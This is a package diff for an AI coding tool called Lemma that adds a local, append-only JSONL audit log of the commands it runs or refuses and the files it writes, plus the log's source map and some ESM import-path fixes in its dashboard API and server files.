* ExecAuditLog — a persistent, append-only trail of every command Lemma ran or refused to
|
|
4
|
+
* run, and every file it wrote, outside of what any single session's in-memory ledger keeps.
|
|
5
|
+
*
|
|
6
|
+
* TokenReceipt's sessionLedger (../utils/TokenReceipt.ts) records similar events but only
|
|
7
|
+
* in a module-scoped array capped at 2000 entries and lost on process restart — fine for
|
|
8
|
+
* "what did this session just do", useless for "what has Lemma ever done in this workspace".
|
|
9
|
+
* This file exists so that question has a real, on-disk answer: same `~/.lemma-cache/`
|
|
10
|
+
* convention as SavingsLedger, but append-only JSONL rather than whole-file rewrite, so a
|
|
11
|
+
* crash mid-session can't lose prior entries.
|
|
12
|
+
*/
|
|
13
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
14
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
15
|
+
};
|
|
16
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
17
|
+
exports.recordExecAudit = recordExecAudit;
|
|
18
|
+
exports.readExecAuditLog = readExecAuditLog;
|
|
19
|
+
exports.getExecAuditLogPath = getExecAuditLogPath;
|
|
20
|
+
const fs_1 = __importDefault(require("fs"));
|
|
21
|
+
const path_1 = __importDefault(require("path"));
|
|
22
|
+
const HOME = process.env.HOME || process.env.USERPROFILE || "~";
|
|
23
|
+
const AUDIT_LOG_FILE = path_1.default.join(HOME, ".lemma-cache", "exec-audit.jsonl");
|
|
24
|
+
function recordExecAudit(entry) {
|
|
25
|
+
try {
|
|
26
|
+
const dir = path_1.default.dirname(AUDIT_LOG_FILE);
|
|
27
|
+
if (!fs_1.default.existsSync(dir)) {
|
|
28
|
+
fs_1.default.mkdirSync(dir, { recursive: true });
|
|
29
|
+
}
|
|
30
|
+
const line = JSON.stringify({ ...entry, timestamp: new Date().toISOString() });
|
|
31
|
+
fs_1.default.appendFileSync(AUDIT_LOG_FILE, line + "\n", "utf8");
|
|
32
|
+
}
|
|
33
|
+
catch {
|
|
34
|
+
// Auditing must never be why a legitimate action fails.
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
/** Reads back the audit trail. Exposed mainly for tests; the file itself is plain JSONL. */
|
|
38
|
+
function readExecAuditLog(limit) {
|
|
39
|
+
try {
|
|
40
|
+
if (!fs_1.default.existsSync(AUDIT_LOG_FILE))
|
|
41
|
+
return [];
|
|
42
|
+
const lines = fs_1.default.readFileSync(AUDIT_LOG_FILE, "utf8").split("\n").filter((l) => l.trim().length > 0);
|
|
43
|
+
const entries = lines.map((l) => JSON.parse(l));
|
|
44
|
+
return limit ? entries.slice(-limit) : entries;
|
|
45
|
+
}
|
|
46
|
+
catch {
|
|
47
|
+
return [];
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
function getExecAuditLogPath() {
|
|
51
|
+
return AUDIT_LOG_FILE;
|
|
52
|
+
}
|
|
53
|
+
//# sourceMappingURL=ExecAuditLog.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"ExecAuditLog.js","sourceRoot":"","sources":["../../../src/utils/ExecAuditLog.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;;;AAyBH,0CAWC;AAGD,4CASC;AAED,kDAEC;AAlDD,4CAAoB;AACpB,gDAAwB;AAExB,MAAM,IAAI,GAAG,OAAO,CAAC,GAAG,CAAC,IAAI,IAAI,OAAO,CAAC,GAAG,CAAC,WAAW,IAAI,GAAG,CAAC;AAChE,MAAM,cAAc,GAAG,cAAI,CAAC,IAAI,CAAC,IAAI,EAAE,cAAc,EAAE,kBAAkB,CAAC,CAAC;AAmB3E,SAAgB,eAAe,CAAC,KAAwC;IACtE,IAAI,CAAC;QACH,MAAM,GAAG,GAAG,cAAI,CAAC,OAAO,CAAC,cAAc,CAAC,CAAC;QACzC,IAAI,CAAC,YAAE,CAAC,UAAU,CAAC,GAAG,CAAC,EAAE,CAAC;YACxB,YAAE,CAAC,SAAS,CAAC,GAAG,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QACzC,CAAC;QACD,MAAM,IAAI,GAAG,IAAI,CAAC,SAAS,CAAC,EAAE,GAAG,KAAK,EAAE,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE,EAAE,CAAC,CAAC;QAC/E,YAAE,CAAC,cAAc,CAAC,cAAc,EAAE,IAAI,GAAG,IAAI,EAAE,MAAM,CAAC,CAAC;IACzD,CAAC;IAAC,MAAM,CAAC;QACP,wDAAwD;IAC1D,CAAC;AACH,CAAC;AAED,4FAA4F;AAC5F,SAAgB,gBAAgB,CAAC,KAAc;IAC7C,IAAI,CAAC;QACH,IAAI,CAAC,YAAE,CAAC,UAAU,CAAC,cAAc,CAAC;YAAE,OAAO,EAAE,CAAC;QAC9C,MAAM,KAAK,GAAG,YAAE,CAAC,YAAY,CAAC,cAAc,EAAE,MAAM,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;QACrG,MAAM,OAAO,GAAG,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAmB,CAAC,CAAC;QAClE,OAAO,KAAK,CAAC,CAAC,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC;IACjD,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,EAAE,CAAC;IACZ,CAAC;AACH,CAAC;AAED,SAAgB,mBAAmB;IACjC,OAAO,cAAc,CAAC;AACxB,CAAC"}
|
|
@@ -13,9 +13,9 @@
|
|
|
13
13
|
* POST /api/debugger/rewind - Rewind to event state
|
|
14
14
|
*/
|
|
15
15
|
import { Router } from 'express';
|
|
16
|
-
import { OrchestrationEngine } from '../core/OrchestrationEngine';
|
|
17
|
-
import { AgentRegistry } from '../core/AgentRegistry';
|
|
18
|
-
import { SubconsciousEngine } from '../core/SubconsciousEngine';
|
|
16
|
+
import { OrchestrationEngine } from '../core/OrchestrationEngine.js';
|
|
17
|
+
import { AgentRegistry } from '../core/AgentRegistry.js';
|
|
18
|
+
import { SubconsciousEngine } from '../core/SubconsciousEngine.js';
|
|
19
19
|
interface DashboardAPIContext {
|
|
20
20
|
eventLog: any[];
|
|
21
21
|
orchestrationEngine: OrchestrationEngine;
|
|
@@ -13,7 +13,7 @@
|
|
|
13
13
|
* POST /api/debugger/rewind - Rewind to event state
|
|
14
14
|
*/
|
|
15
15
|
import { Router } from 'express';
|
|
16
|
-
import { createLogger } from '../utils/logger';
|
|
16
|
+
import { createLogger } from '../utils/logger.js';
|
|
17
17
|
const logger = createLogger('DashboardAPI');
|
|
18
18
|
export function createDashboardRouter(context) {
|
|
19
19
|
const router = Router();
|
package/dist/esm/api/server.d.ts
CHANGED
|
@@ -3,10 +3,10 @@
|
|
|
3
3
|
* Express server for dashboard metrics and analytics endpoints
|
|
4
4
|
* Runs on port 3001 by default
|
|
5
5
|
*/
|
|
6
|
-
import { DashboardWebSocketServer } from '../core/DashboardWebSocketServer';
|
|
7
|
-
import { OrchestrationEngine } from '../core/OrchestrationEngine';
|
|
8
|
-
import { AgentRegistry } from '../core/AgentRegistry';
|
|
9
|
-
import { SubconsciousEngine } from '../core/SubconsciousEngine';
|
|
6
|
+
import { DashboardWebSocketServer } from '../core/DashboardWebSocketServer.js';
|
|
7
|
+
import { OrchestrationEngine } from '../core/OrchestrationEngine.js';
|
|
8
|
+
import { AgentRegistry } from '../core/AgentRegistry.js';
|
|
9
|
+
import { SubconsciousEngine } from '../core/SubconsciousEngine.js';
|
|
10
10
|
export interface ServerConfig {
|
|
11
11
|
port?: number;
|
|
12
12
|
host?: string;
|